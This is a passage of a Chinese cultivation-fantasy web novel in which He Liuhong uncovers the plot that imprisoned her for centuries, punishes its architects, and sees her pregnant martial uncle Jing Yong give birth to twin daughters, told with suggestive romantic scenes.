“她说她要变成人,一个真正的人,这需要提前很多年的精心准备,进行一场血脉转换仪式。和夺舍不同,夺舍太容易出现漏洞被人看穿,这场转换仪式会让她的妖性彻底改变,连天道也无法辨别。 “她求了我很久,我无法拒绝自己的孩子,所以利用医修的身份,帮她找到两个最完美的人族,充当容纳她魂魄的容器,也就是这场仪式中最可怜的牺牲品。” 说到这里,她终于停下来,抬头看向贺流虹,脸上流下泪来,“你就是牺牲品之一,还有一个是小霓,如果没有后来的意外,你或者小霓的魂魄会在血脉转换中被蚕食殆尽,只留下为他人所用的躯壳。” 贺流虹隐约感觉到缠绕在她眉心的魔气,有些意外:“这就是你的心魔?” 郑吟说道:“是的,这些年我一直心存愧疚,确认你和小霓的身份后,我心中的魔障更加无法逾越,逐渐成了生出心魔。” 贺流虹的记忆也复苏了一些,想到自己刚穿越就不幸成了一个被封印的婴儿,灵魂被困在一具躯壳里五百年,听不见看不见闻不见,没有疯掉只能说明她心态好。 她充满怨念地看了郑吟一眼:“你确实挺对不起我的。还有小霓。”不过贺小霓比她幸运一点,是个真正的婴儿。 郑吟羞愧道:“我会尽我所能补偿你们,小霓的眼睛在你夺走乾坤珠打碎水月镜时被伤到了,或许等你掌握了乾坤珠的力量,就能重新将她医治好。” 贺流虹对于自己从水月镜中离开的这段记忆还很模糊,只记得自己忽然就在凡界的大街上要饭,和普通人无异。 现在想想,那时候乾坤珠应该就藏在她丹府了,那莫名其妙的腹痛不是饿的,好吧也有一部分原因是饿的,还有乾坤珠的力量带来的反噬。 她没有细说,继续问郑吟:“你那个小猫咪真的是被周荡封印的?” 郑吟点了点头,“那时候距离转换仪式只有几年,她被四大宗门数十位大修围剿,无奈和周荡演了一场戏,由周荡亲手将她封印在镇妖塔,方便后来再由周荡将她救出。 她被封印四百年,大修们都陨落得差不多了,只剩天玄宗和缥缈仙宗还有几位,周荡也许是觉得时机差不多了,便破坏了封印,助她逃脱。” 说到此处,她沉默了很久,不知道在想什么,接着才说道:“周荡破坏封印之前来见我,说她被仙门抽走一半妖骨,让我替她医治,助她从仙门围剿下脱身,我没有同意,之后她死在你师叔手上的时候,我就在旁边。她是人人得而诛之的妖,但是她死的时候我还是有点难过。” 贺流虹从芥子袋里掏了掏,掏出那只小猫摆件,放在她手边,说:“这是我从封印她的地方找到的,应该是你的东西吧。” 郑吟低下头,声音有些颤抖,既像是在笑也像是在哭,“她以前很喜欢偷偷将我常用的小玩意儿藏起来,这样我找不到东西的时候,就会注意到她的存在。” 贺流虹不知道该说什么,虽然最后死的不是她,但这一人一猫给她造成的痛苦不是一天两天,而是五百年起步。 她无法做到毫无芥蒂地反过来安慰对方猫死不能复生,于是什么也没说,转身走了。 她没有急着离开医仙谷,一边远远地看着贺小霓和几个相熟的孩子玩耍,一边想着要怎么办。 比起外面强者为尊的世界,谷里就像一个世外桃源。 贺小霓已经完全适应了这里的生活,看起来就像是一个正常的人类小孩。 不,贺小霓本来就是正常的人类小孩,还有她自己,她也是个如假包换的人类。 所以她之前感应到的妖气是怎么回事? 想到这里她忽然后背一凉。 第一次感觉到妖气的存在,严格来说,是九阶大妖被灭那天,那时候她晕倒在镇妖塔附近的山林里,以为自己累出错觉。 得知那只大妖几百年前就在准备夺走她的躯壳,她不得不怀疑之前那缕妖气就是受伤后龟缩在丹府内的“郑长安”。 也就是说,先前她差点真的被那缕妖魄夺舍了。 “她还活着,你在骗我!” 贺流虹返回屋内,死死盯住她的眼睛,“告诉我,她又藏去了哪里?” 郑吟很是迷茫,“你说什么?” 贺流虹失去耐心,对她进行了搜魂。 这是一项危险的举动,对灵力的要求很高,如果对灵力控制得不够到位,被搜魂的人很可能会神识错乱走火入魔。 但她担心大妖仍旧躲在什么地方伺机对她下手,事关她自身安危,她顾不了太多。 幸运的是,她的第一次搜魂就很成功,没有伤到任何人。 不幸的是,郑吟真的没撒谎。 她脸色有些阴沉,“周荡一定知道是怎么回事。” 郑吟问她:“你想问周荡?他对大妖的忠心简直到了可怕的地步,如果她还活着,恐怕周荡也不会说实话。” 贺流虹道:“但他不会防备你,你不是想要补偿我吗,帮我把周荡骗出来,套出实情。” “如果他还是不肯呢?” “那我会想办法让他也体会一下被幽禁几百年的滋味。” 其实贺流虹更想直接把他杀了,免得他总是打那颗珠子的注意,还拿小师叔和孩子来要挟她。 现在想想,周荡之所以一直不愿意真正将她伤了,大概正是因为郑长安还活着,那个需要她献出躯壳的转换仪式还没有被放弃。 从医仙谷离开,她顺手将贺小霓一起带走。 本来打算让贺小霓去神月峰和景雍作伴,又担心被大妖一窝端,于是只好先让她去妙音峰住着。 安排好同病相怜的妹妹,贺流虹又急吼吼去找小师叔了。 一见到景雍,她二话没说就扑上去,八爪鱼一样把人紧紧抱住。 景雍被缠得没有办法,既要保持身体平衡不让两个人一起摔到地上,又要护着自己肚子里的宝宝,以防被身上这个比肚子里宝宝大不了多少的“宝贝”碰到。 他既苦恼又甜蜜地望着黏在他身上半天不肯放的少女,心怦怦乱跳,面上维持着身为师叔的沉稳,有些羞涩地抬手,在少女蓬松柔软的头发上轻轻摸了摸,温柔地问:“这是怎么了?” 贺流虹听着他柔情似水的动听嗓音,造作地赖在他身上假哭:“小师叔,你知不知道,有人想抢我的东西,还想要我的命,我真是太可怜了呜呜呜。” 景雍明知她的害怕有八分都是装的,还是心疼坏了,好看的眉头微微蹙起,帮她把跑乱的头发理好,低声问道:“是上次那人吗?” 那人向贺流虹要的不知是什么东西,但显然对贺流虹来说很重要。 他以为贺流虹不愿多说,所以也就没有主动追问,更没有将那天的细节告诉任何人。 他有些恼怒,“那人竟还敢伤你性命,我定不会放过他。” 说这话时,脸上染着情动般的薄红,使怒色都带了几分温情而诱人的味道。 贺流虹将脸埋进他怀里,蹭来蹭去,像个奶瘾发作的孩子,“小师叔,你这么好,真的好像我的妈妈啊,我不会也是从你的肚子里生出来的吧小师叔?” 景雍的身体僵住,哭笑不得地问她:“还有什么惊世骇俗的话是不能从你嘴里说出来的?” 第66章 第66章我都要喜欢死了 贺流虹于是又改了口,说他是她的宝贝。 景雍自从牙牙学语开始面对的就是学不完的功法,哪里被人这么黏黏糊糊地凑在耳边喊过。 他有些手足无措,托着一日比一日鼓起来的肚子,想要躲开贺流虹的“进攻”,端着脸支支吾吾劝她:“慎言,我比你年长,还是你师叔,怎能这般……这般……”。 贺流虹不以为然地说道:“这有什么,小师叔怎么好像头一次听见似的,我在床上都喊了好多次了,小师叔一定是只顾着自 己舒服,都没好好听我说话。” 她咬了一口对方的耳尖,“原来小师叔才是那个只顾自己享乐、沉溺快感的坏家伙呀。” 景雍急得两只手捧着隆起的肚子,脸上红一阵白一阵,像是快要晕过去,嘴里委屈地嘟囔着:“不,我不是,我……” 贺流虹被他这副惨状惊到,把他搂怀里,安抚道:“我跟你说笑呢,怎么委屈成这个样子,下次不这么说你了还不行吗。” 景雍抓着她的手,坚持为自己辩解:“我不是你说的那种……贪图享乐的人。” 贺流虹反握住他的手,笑道:“这又不是丢脸的事。” 她压低了声音,半是认真半是蛊惑地说道:“小师叔,你根本不知道自己沉溺其中连瞳孔都失焦的样子有多迷人,我只要一回想起来,就恨不得立刻再把师叔拖到床上,让师叔……” 景雍的两只手都被她抓着,又害怕继续听到她嘴里冒出来的淫言浪语,情急之下便主动亲了上去。 等到他想分开时,贺流虹已经美滋滋地把人紧紧按在椅子上亲了个天昏地暗。 她亲完了还嫌不满足,又黏糊糊地缠在他身上,一会儿宝贝一会儿妈妈地乱喊起来,像是生怕内敛怕羞的小师叔脸不够红心不够烫。 景雍被她弄得面红耳赤,连腹中胎儿都被惊动。 贺流虹四处乱摸的手恰好就摸到了他的肚子上,隔着肚皮被踢了一下手心,大惊失色,轻呼一声:“太神奇了吧!” 她的注意力瞬间从逗弄小师叔转移到研究小师叔的肚皮上,软磨硬泡地让小师叔当场解开衣服。 景雍左右望了望,有些犹豫,带着一丝央求意味地看向她,想让她改变主意。 神月峰虽然只有他和她两个人,但他还是有些不习惯光天化日之下对她袒露身体。 可是看到她那副期待而可怜地表情,他心软了,手指微微颤抖着,解开了衣襟。 贺流虹迫不及待将他身前半遮半掩的衣服向两边扯开,清楚地露出光滑如玉的上身,被外面的日光照得像油画一样静谧美好。 她对着那鼓得像个大气球一样的肚子又摸又瞧,还将两只耳朵分别贴上去听来听去,只是听了半天,并没有听出什么门道。 她的眼神便又自然而然地转移到其他地方,被一片雪白柔腻当中的颜色吸引,紧盯着不放。 景雍无力地仰靠在椅背上,呼出来的气息像火一样烫,想求她不要再看,却又知道她并不会那么听话,只能抬手捂着自己的眼睛,似乎这样就能当做她的目光并不存在。 不知道过了多久,他忽然感到前胸有些湿润,还没明白过来是怎么回事,就听耳边再次传来贺流虹惊奇的喊声:“哇!这太神奇了吧!” 景雍慌慌张张地垂眸一瞧,便彻底地愣住,如同石化一般。 难怪最近那里一直有些异样,原以为是贺流虹这个坏东西将他折腾得太过分,却没想到……没想到……他不仅像妇人一样怀上孩子,还在孕期就提前分泌出了乳汁,并且是在如此不恰当的时机,就在贺流虹的眼前。 他羞耻到极点,崩溃地啜泣出声。 他哭得比以往每一次都要厉害,几乎上气不接下气。 贺流虹顿时也不敢再只顾着乐呵了,弯下腰捧着他的脸亲了又亲,哄道:“这是好事呀,哭什么呀小师叔,以后宝宝一出生就有奶水喝,小师叔这么棒,我都要喜欢死了。” 景雍从最初的崩溃中缓过神来,泪眼朦胧地看着她,无助地问道:“真的吗?你不会觉得我很奇怪吗?” 贺流虹怜爱地摸摸他的脸,“我觉得小师叔厉害坏了,棒极了,更喜欢小师叔了!” 景雍从她脸上看到了情真意切,心里一阵温暖,充满依赖地将脸靠在她肩头,低声道:“只要你喜欢,我怎么样都行。” 贺流虹在他头顶拍了拍,忽而有些担心地说道:“就是这奶水看起来有些少,宝宝出生以后不够喝怎么办。” 景雍想说那就找专门的乳母来喂,却紧接着就听她说道:“不行,我得找人来帮你看看。” 景雍吓了一跳,忙将她拉住,赧然地哀求道:“别让其他人知道,好不好,求你了阿虹。” 贺流虹叹道:“哎,好吧,谁让小师叔脸皮薄。” 她想了想又意味深长地笑起来,“我帮师叔保守秘密,师叔是不是要给我奖励。” 景雍隐约感觉她这句话别有深意,但心思单纯如他并不能立刻理解,只一边穿好衣服,一边冥思苦想半天,最后茫然地问道:“阿虹到底想要什么奖励?” 贺流虹舔舔嘴唇,“我渴了。” 景雍欲哭无泪,眼睁睁看着她亲自动手,将他好不容易穿好的衣服又解开了。 …… 最近,贺流虹实在是有些乐不思蜀,一天中有大半时间都流连在神月峰。 作为一个正直的修士,她去神月峰当然是为了一些正经事。 小师叔说什么都不肯再让自己分泌奶水的事也被外人知道,贺流虹很认真地在担心着孩子出生后奶水不够的问题,所以只好亲自钻研这方面的学问,企图自力更生尽早解决这个烦恼。 各种书上的法子和偏方她都打算在小师叔身上逐一尝试。 她对这件事热情高涨,而且也确实没有其余人知道这个秘密,景雍就只好怀抱着身为师叔应有的无限包容之心,接纳她给的全部疼和爱。 直到收到郑吟的秘密传信,贺流虹才不得不找了个理由出门,处理一些麻烦事。 郑吟和周荡见了面,按照和贺流虹提前商量好的那样,问起“郑长安”是否真的已经魂飞魄散。 周荡哀痛地点头,然后站在那里和她缅怀了半天,看起来不似作假。 这时候贺流虹跳出来暗算了他,将他击倒在地,封印了他的修为,并笑得像个反派,“你也有落在我手里的一天,你完了。” 周荡瞪了郑吟一眼,“你骗我?我就知道,从你不愿帮助长安离开镇妖塔开始,你就不再是长安可以信赖的人。” 郑吟不太想提起那个名字,背过身去,“既然她已经魂飞魄散,我和你之间便再无瓜葛,小贺,要怎么处理他,你自己看着办吧。” 她说着就走了。 贺流虹能怎么办,当然是先让他也尝尝被幽禁在没有声音没有光的密闭空间的滋味。 她沉声开口:“最后再问你一遍,她真的死了?” 周荡不紧不慢说道:“本来确实不会真正死去,我和她商量过,她会先假死脱身,之后我会给景雍下迷情散,为她制造时机,让她夺取景雍的全部修为,只是没想到你师叔比我预料的更能撑,竟是在毒发后逃向野外,被你捷足先登……后来我又从你身上发现她的气息,知道她的一缕残魄竟机缘巧合之下附在你身上。不幸的是,她在试图对你夺舍时被你丹府内的乾坤珠所伤,最后真正地魂飞魄散了。” 贺流虹又问:“那你为何要一直想方设法逼我交出乾坤珠,她都死了,你还没放弃帮她完成那个计划?” 周荡笑道:“乾坤珠是好东西,谁不想得到?否则你为何不肯让旁人知道它在你手上,宁愿牺牲那个师叔和他腹中孩儿的命。” 贺流虹皱皱眉,学着南宫月宁的样子狠狠抽了他一鞭子,“别扯些有的没的,说郑长安。” 周荡若无其事地摸摸被抽到的胳膊,似乎已经忘我地陷入怀念,喃喃低语:“对,郑长安,长安,她真的好……她真的好让我伤心,我追着她说了很多次,不和我当道侣也没关系,我愿意放弃在仙门的一切,跟着她去妖界,和她一起当妖,结果她不屑一顾,郑吟只随口说了一句‘要是你不是妖就好了’,她就绞尽脑汁想要变成人,宁愿背弃一起生活了万年的同族,也要变成人,她真的好让我伤心……好让我伤 心……” 贺流虹感觉自己耳边好像有一个祥林嫂在絮絮叨叨,但是祥林嫂的遭遇至少是值得同情的,这男的伙同一人一妖把她关了好几百年,还企图杀了她。 所以她从芥子袋中拿出一根更粗的鞭子,狠狠抽了他两下。 周荡猛地怒了,指着她骂道:“凭什么,你凭什么只找我寻仇,郑吟才是这一切的罪魁祸首!” 贺流虹又抽了他几鞭子,“要你多管闲事,我就不能先找你,再找她!” 她把人关起来,就准备回去,想了想把郑吟也关在隔壁了。 郑吟十分配合,是主动走进来的。 周荡被她偷袭成功伤到要害,至少在小师叔安稳地生下孩子之前都痊愈不了,风月宗那边更是不用担心找上门,反正这个宗主几百年不露头,联系不上也不会有人奇怪。 贺流虹返回神月峰,安心不少,不用再担心小师叔和孩子再被周荡抓走了。 她决定等小师叔把孩子生下来,再去给周荡升级一下监狱,怎么说也得和她之前的规格差不多,享受享受在幽闭空间逐渐崩溃发疯的滋味。 时间一天天过去,宝宝月份越来越大,小师叔的肚皮也隆起得越来越夸张,看起来比寻常妇人这个月份的肚子都要大。 找医修看过,说是除了胎象有些不稳,没别的问题。 胎象不稳,这是景雍自有孕以来一直面临的问题,一开始以为是月份太小,如今算算日子只剩两个月就要生产了,还是这样。 他有些担忧地盯着自己的肚子,如今他不需要低头便能瞧见隆起的小腹,行动也越发不灵便,还有贺流虹的那些偏方也越来越有效果,若是不注意,便会在外人面前弄湿胸口的布料。 除了贺流虹,他越来越耻于见人。 幸好贺流虹也越发着迷于他如今的身体,时常攀在他身上不肯放手,一折腾就是大半天,不安的日子也就这么稀里糊涂过去了。 贺流虹找了很多有名气的医修过来帮他诊治胎象不稳的问题,还请了普通人中的大夫,都没能彻底解决。 于是尽管只剩两个月,景雍却越发紧张。 贺流虹对这个孩子是这么喜爱,连宝宝出生后奶水不够会饿肚子的问题都提前考虑到了,想到这里他就更加惊惶,既担心最后这段时间孩子出问题,又担心那最后的生产。 贺流虹常常安慰他,安慰着安慰着就又滚到了床上。 这段在床榻上的时间,以及从床上离开的一段时间里,景雍会暂且忘记紧张害怕,一边哭得惹人怜爱,一边乖乖打开身体承受贺流虹施与的一切。 这日午后,贺流虹正解了美人衣带,把人压在书桌上,津津有味地把玩着,景雍忽然脸色煞白,汗如雨下,捂住肚子喊疼。 她还是第一次遇到这样的紧急状况,连忙喊了最常来神月峰的医修师姐过来。 那位师姐已经很熟悉景雍的情况,这一瞧也如临大敌,原本就胎象不稳,现在不知怎么回事,孩子的生命力正在流失,如果不立刻找到补救之法就完了。 相熟的医修们束手无策,男子有孕,还是神交致孕,他们本就是第一次碰见,一时间有如无头苍蝇嗡嗡乱转。 景雍抖如筛糠,不知是疼的还是吓的,又或是伤心的,抱着贺流虹泪如雨下,“对不起,我真的好想为你把宝宝生下来。” 贺流虹像往常那样亲了亲他的脸颊,但是这一次却没多少安慰的效果,他的脸色更糟糕了,不知道心里在想着什么,忽然说自己好没用,让她不必再对他那么好。 贺流虹听得很茫然,只当他是痛糊涂了,将舒缓的灵力注入他识海,让他昏睡过去。 她拜托那位医修照看小师叔,匆匆下山,去找郑吟。 她本来就不太信任对方,如果对方给出了解救之法,她也要再三权衡求证。 没想到郑吟在听完之后只是叹了口气,愧疚地表示自己无能为力,“我并不擅长这方面的医术,更何况腹中胎儿本就孱弱,命数如此,回天乏术。” 贺流虹很失望,期待了很久的孩子说没就要没了,这种失望渐渐变成愤怒,她恼火道:“我就知道你不是真心后悔,你还爱你的郑长安,恨我师叔当初杀了她!” 郑吟沉默不语。 贺流虹忽然想到,从镇妖塔一战之后,郑吟就留在神月峰替小师叔医治,忍不住猜测道:“他变成现在这样,都是你设计好的对不对,你是天底下最有天分的医修,除了你没人可以做到。” 郑吟说道:“我的确对长安还有旧情,但她已死,我不会再为她作恶,让她背负更多因果,连来世也不得安宁。” 贺流虹哼了一声,她的理智告诉她,老太太确实不是这种人,但话都说到这份上了,再多骂两句也不成问题。 隔壁传来周荡的声音,带着几分虚弱:“我可以散进修为救你师叔肚子里的孩子,但是你要答应我两个条件。” 贺流虹将两人中间无形的墙撤掉,让两边能够看见彼此。 周荡看见她脸上的表情就知她不太乐意,做出无所谓的神情:“反正也不是我的孩子,你不愿意我也不勉强。” 贺流虹觉得他脸色不对,探了探他的神识,困惑道:“你怎么一副要死了的样子?” “我本来就要死了,你以为镇妖塔的封印是纸糊的,不用付出代价吗。” 他确实一直重伤未愈,而且修为在化神期停滞很久,就算没伤,最多几十年就陨落了。 贺流虹又收到了医修师姐的传音,小师叔醒了一次,腹中胎儿情况更凶险了。 她皱着眉,“什么条件?” 周荡惆怅地开口:“唉,她真的好让我伤心,好让我……” “闭嘴,说条件。” “即便她这么让我伤心,我还是要成全她,她这一生最爱的就是你旁边那个老太婆,我的第一个条件就是等我救了你的孩子之后,你答应放过那个老太婆,既往不咎。” 贺流虹立刻说“好”。 周荡:“第二个条件,我死后,就让整件事情都尘埃落定,你也不必告诉我徒弟我干的那些事,孩子大了,要脸,要是知道我是仙门叛徒,她以后出门见人会不好意思。” 贺流虹有点无语,“你还知道考虑徒弟感受呢,我不信,你对天道发誓,如有半句虚言,所有你真正关心在意的都灰飞烟灭。” 周荡没有任何为难,举手对天发誓:“我若不是真心救她……” 贺流虹很严谨地打断他的话,“救谁,说清楚,别想钻漏洞!” 周荡“唉”了一声,从头重来一遍:“我周荡会用全部修为救下景雍肚子里那个孩子,以形消神散为代价换那个孩子安全无虞降生人世,如有半句虚言,所有我真正关心在意的都灰飞烟灭。” 贺流虹总算满意了。 周荡却说:“我发完誓了,轮到你了。” 贺流虹当场给了他一鞭子:“你搞清楚到底谁在求谁!” 谁在求谁,周荡也搞不清楚了,又“唉”了一声,“好吧,我活该。” 贺流虹绑着他去了神月峰。 景雍还在昏睡中,眉头紧紧蹙起,看着很是可怜。 周荡的到来谁也不知道,贺流虹怕他要死了还不安分,一直将他牢牢控制在手里,即便周荡已经开始输送自己的全部灵力,她仍是随时准备着当场送他归西。 最后她就看着那个原本还算风韵犹存的男人慢慢变得满头白发,身形枯槁,一点一点化成了齑粉,消失在眼前,地上落了一根女子的银簪子。 贺流虹把簪子捡起来,把周荡出现过的所有痕迹抹除,过去查看小师叔的情况。 他的脉象稳定下来,脸色也以肉眼可见的速度好转起来,眉头舒展开来,发出匀称的呼吸声。 医修走进来查探,由于不知道刚才发生的事,对于景雍的忽然好转很是惊讶,“胎儿没事了 ,贺师妹,你做了什么?” 贺流虹道:“我去找医仙谷谷主求来了解救之法。” 医修毫不怀疑,由衷地赞叹道:“不愧是天下医修之首。” 景雍悠悠转醒,看到贺流虹在身边,又急忙检查自己的肚子,惊喜道:“我怎么感觉好多了,阿虹,我们的宝宝留下了?” 贺流虹心中也松了一口气,望着他一手护着肚子一手撑着身体艰难下床,索性将他直接抱起来,去了窗边的扶椅坐下。 景雍惊呼出声,紧紧地护住了肚子,躲在她怀里,不敢去瞧房中还没走的那位同门医修,压低了声音提醒她:“还有旁人在这里。” 贺流虹朝医修师姐看了一眼,好笑道:“师姐,医修能治怕羞的毛病吗?” 那位师姐十分上道,“这毛病医修怕是治不了,倒是可以试试贺师妹自己亲自来治。” 说着就很有眼力劲地飞快溜了。 景雍说道:“你放我下来。” 贺流虹不肯,一板一眼地说道:“没听见医修的建议吗,你这怕羞的毛病,就得让我多治治。” 景雍闭着眼羞于见她,柔软的唇一张一合,吐出既像是央求又像是引诱的话语:“明天再治好不好,先让我缓缓,实在不行,等晚上可以吗?。” 贺流虹有些想笑,她是不是给小师叔留下了什么奇怪的印象,她就那么像个一时半刻都等不及的色中饿鬼衣冠禽兽吗。 她低头埋在他胸口,深深地吸了一口气,呢喃道:“小师叔,这次你把我吓坏了,到现在我还在后怕呢。” 景雍忍不住在她脸上蹭了蹭,满脸歉疚地小声说道:“是我对不起阿虹,差点就没保护好阿虹的孩子。” 贺流虹捧起他的脸,对着那说出莫名其妙话语的恼人嘴唇狠狠亲了一口,做出不满神态:“对我来说小师叔才是最重要的,我还没怪这个孩子让你受了苦呢。” 景雍有些难以置信地看着她,几乎有些受宠若惊,“你真的是这样想的?我以为……我以为你更喜欢的是我肚子里的宝宝。” 第67章 第67章她自己都还是个没长大的…… 贺流虹承认,有时候她确实对小师叔的肚子表现出更浓厚的兴趣。 但是话又说回来了,要是怀孕的是一个又老又丑的男的,她肯定不会多看他一眼的。 她想了一通,得出结论,真心实意地说道:“谁都没有小师叔重要,宝宝没了,还能再生,但是小师叔天底下可是只有你这一个。” 景雍听到她说还要再生,又欢喜又忐忑,小声问她:“万一这个孩子只是意外,我以后不能再为你生更多,你还会这样喜欢我吗?” 贺流虹越来越觉得小师叔可爱,又单纯又可爱,怎么会有第一个还没生下来就开始担心能不能生更多个的。 她不能辜负小师叔的一片心意,保证道:“小师叔生一个我也喜欢,生十个我也喜欢,小师叔要是想为我生一堆,我说什么也要让小师叔如愿。” 这个时候贺流虹就忍不住感叹修仙就是好,寿命够长,还能青春永驻,身体还耐折腾,小师叔就是一个接一个地生,一直挺着孕肚勾引她也完全没有问题。 景雍还在温情脉脉地为她的告白而感动,哪里知道她脑子里已经冒出了那么多邪恶的念头,倚靠在她肩头,心头一片温热,简直难以抑制对她的爱意,湿润柔软的嘴唇含羞带怯地亲了亲她的脖子。 贺流虹冷不防被他偷亲了脖子,有点痒,发出快活的笑声,把他按倒在窗边,正想要说点没羞没臊的话来逗一逗他,却被他抬起双手缠上脖子,仰着脸主动索求她的亲吻。 情动之时,景雍难分难舍地抱着她,一边哭,一边告诉她:“好喜欢,好喜欢被阿虹这样对待……” 那天之后,贺流虹又过上了流连在神月峰乐不思蜀的日子。 因为孩子出生的时间近在眼前,她干脆就直接住在神月峰,这样每时每刻都能见到小师叔。 她按照和周荡约定的那样,将郑吟放了,当年的事只剩下郑吟和她还有贺小霓,没有多余的人受到伤害,随着周荡的死,仿佛一切都这么过去了。 周荡的死没有引起任何人的怀疑,所有人在知道消息后都以为是当年封印妖祖时受的伤折损了他的寿元,让他早早陨落。 景雍也只以为那次宝宝遇到危险是医仙谷的谷主出手相助。 贺流虹曾经缺失的记忆一天天变得完整,和她的推测一样,郑长安被关进镇妖塔之后,周荡又将水月镜中的两个“容器”封印了一次,留待多年后将郑长安救出,继续进行那个血脉转换仪式。 于是身体长到十一岁的贺流虹又被困在躯壳里几百年,后来有一天她终于被这漫无天日无声无息的幽闭折磨得发了疯,趁周荡进入水月镜加固封印夺走了乾坤珠,打碎了水月镜,逃到了凡界。 乾坤珠和她一起掉到凡界,融入她的身体,无时无刻不想将她吞噬,让她痛入骨髓。 经过了幽禁近千年的精神折磨,她关于穿越前的记忆早已模糊,在凡界茫然地乱转,白天和街边乞丐打架,和野狗抢食物,夜里抵抗着乾坤珠对精神和身体的双重摧残。 她在疯掉之前,无意间掌握了那颗珠子的力量,将自己这近千年的记忆尽数抹除,让所有的痛苦和仇恨都随着记忆一起消失。 她终于又过上了简单的生活,以为自己是刚刚补着暑假作业猝死穿越到一个陌生的世界,虽然还是在大街上要饭,但精神饱满,充满新鲜感和对未来的希望。 之后就是拜入天玄宗的经历了。 贺流虹将下巴抵在小师叔肩上,任由记忆入流水般从眼前淌过,曾经的痛苦折磨崩溃绝望都恍若隔世,即便一时间想起来,也不能再让她的情绪有太多波动。 景雍感受到她身上的灵力波动,忽然偏过头来看她,有些诧异:“你的修为又要进阶了。” 贺流虹能感觉到心境变化带来的影响,她在神月峰磨磨蹭蹭几个月,就是不想因为闭关错过小师叔生孩子,没想到破境的时机早不来晚不来,在只差一个月就能看到孩子出生的时候来了。 她强行将这股冲动压下去,坚决摇头:“不行,宝宝要出生了,我要陪在你身边。” 景雍因为她如此在意自己而喜悦,但又对她这股任性妄为的孩子气感到哭笑不得,“我可以一个人的,你安心去闭关,还是修炼的事更重要,这是天赐的时机,怎么能忍着。” 贺流虹摇头:“不行,不行,我能忍,我要陪着你。” 这可是开天辟地头一回的大事,她怎么能错过,她一定要寸步不离守在小师叔身边,看看男人到底是怎么生孩子的! 景雍继续劝了她一会儿,她像个牛脾气犯了的孩子,景雍越劝,她越是将他紧紧缠着不肯走。 景雍心里是极为甜蜜的,但又觉得这样有些自私,于是一边暗暗欢喜,一边嘴上劝着。 贺流虹在忍了几天之后,身体里的那股灵气终于压不住了,急急忙忙去闭关。 这一闭关,就不知道过去多久。 天玄宗上空风卷云涌,惊雷阵阵,引得各方议论不休…… 直到云层中绽放出绚烂夺目霞光,照亮天地,修真界就多了一个数万年来最年轻的化神。 化神之后,就是真正能威震四方的大乘期大修,随着灵气稀薄,整个修真界的大乘期修士屈指可数,天玄宗和缥缈仙宗各占一半。 无数天赋卓绝之人在一个小境界困死数百年,贺流虹只用短短几年进阶化神,整个修真界都清楚一件事,天玄宗不久之后又会多一个大修。 贺流虹感受了一下化神期的美妙滋味,从先前比起来简直可以说天壤之别,一个闪身就瞬间去了神月峰。 她没耽搁太久,刚一出现在那里,就有人冲过来报喜:“生了,孩子顺利出生了!” 贺流虹没等她说完就迫不及待地推开门走进去。 屏风后传来婴儿的啼哭声,以及医修忙碌的脚步声。 她绕过屏风去了里面,就见到小师叔奄奄一息地躺在床上,身体两侧分别放着一个襁褓中的婴孩。 “咦?”她怔了一下,“怎么有两个?” 相熟的医修师姐忍俊不禁:“为什么不能有两个,贺师妹,你没听过双生子吗。” 贺流虹眼睛亮起来,雀跃地走过去,想要接过来瞧瞧,又有点不知所措,只敢轻轻用指尖点了点小婴儿露在襁褓外面的脸蛋。 “好软!” 她惊呼道,就像是发现了什么天大的秘密。 景雍看着她一惊一乍的模样,有些想笑,但身上的伤口很疼,连说话都有些艰难,只轻轻勾了勾嘴角。 贺流虹的视线落在他身上,他的脸色惨白,有气无力地朝她笑,身上已经换了干净衣服,但隐隐还是有股血腥味,以及早已被她熟悉过的奶香味,两种矛盾的气息混合在一起,让她有些不太习惯。 她在床边蹲下,抓着他的手,问:“小师叔,疼吗?” 景雍摇了摇头:“一点都不疼。” 贺流虹说:“肯定很疼,你别骗我。” 景雍只好改口:“看到了你,就全都忘了,只剩下甜。” 贺流虹在他唇上亲了一下,开玩笑道:“确实好甜。” 幸好这时候医修已经离开,景雍接受了这个吻,被她摸了摸脸颊,只觉得所有的痛苦都能忍受,哪怕为她奉献出生命都不算什么。 忽然他又有些不安,眼神在她和孩子之间游移,小心翼翼问道:“你不喜欢这两个孩子吗?” 贺流虹不解道:“为什么这么问,你生的,我怎么会不喜欢。” 景雍有些半信半疑,藏不住的难过:“那你为什么进来这么久,却一直没有抱她们?” 贺流虹又在躺在外面的小婴儿脸上戳了戳,不好意思地说道:“看起来好软好容易坏,我有点不敢抱。” 这时候门又被推开,掌门走了进来,笑道:“那让我这个大伯先来抱一抱。” 贺流虹这就不愿意了,“小师叔给我生的,怎么能给你先抱。” 和掌门一起进来看孩子的还有几个自小看着景雍长大的师姐师兄,听贺流虹这么说,纷纷附和。 “掌门师兄你少添乱,这是拆散小师弟和贺师侄一家四口的感情。” “小师弟竟是诞下一对双生子,小贺师侄这下真是双喜临门了。” “贺流虹,你想好怎么回报我这诞嗣有功的小师弟了吗?” 景雍听着众人七嘴八舌,刚才还白得不见血色的脸一直红到了耳根,轻声阻止道:“诸位师兄师姐,别为难阿虹了。” 睡在外侧的婴儿像是配合他的话,要为刚见面不久的母亲帮忙,哇哇大哭起来。 贺流虹的表情微微扭曲,不解地指着那个大哭不止的孩子问周围众人:“怎么说哭就哭了,是不是被我们吵醒了,现在改怎么办?” 掌门望着她指指点点满脸茫然的样子,有些无语,“这不是你小师叔给你生的吗,你怎么问起我们来了。” 一个看上去很有经验的师伯过来,指导贺流虹抱孩子,“抱起来哄一下就好了。” 贺流虹抱孩子的样子看起来有些笨手笨脚,僵硬得像是怀里多了个炸药包,而不是拥有血缘的亲生孩子。 这副场景又惹得一群人笑起来。 景雍也忍不住笑,但眼里充满柔情。 贺流虹初步适应了一下小婴儿的手感,软乎乎的,带着奶香味,之哇乱哭的声音在被她抱起来之后就很快停了,睁着迷蒙的眼睛望着她,然后咧了咧没有牙齿的嘴。 于是她又很没见过世面地惊呼一声:“笑了,它对我笑了!” 景雍在一旁轻声说道:“她一定很喜欢你这个娘亲。” 贺流虹直到这个时候才有了一些实感,小师叔真的给她生了两个孩子,她当上娘亲了,整件事就像做梦一样。 意识到这件事,再一转眼看向怀里的婴儿,只觉得多了几分亲近。 这时候她才忽然想起来去问:“对了,这是女孩还是男孩啊?” 一屋子的人都沉默了,景雍也是,他以为贺流虹在来神月峰的时候早就打探清楚了。 “女儿,两个都是女儿。”景雍强调道,“她们是你和我的女儿。” 贺流虹心里更美了,再去看两个小婴儿,连带着睡在床里侧的那个还没被她看到正脸的孩子都显得更亲近了。 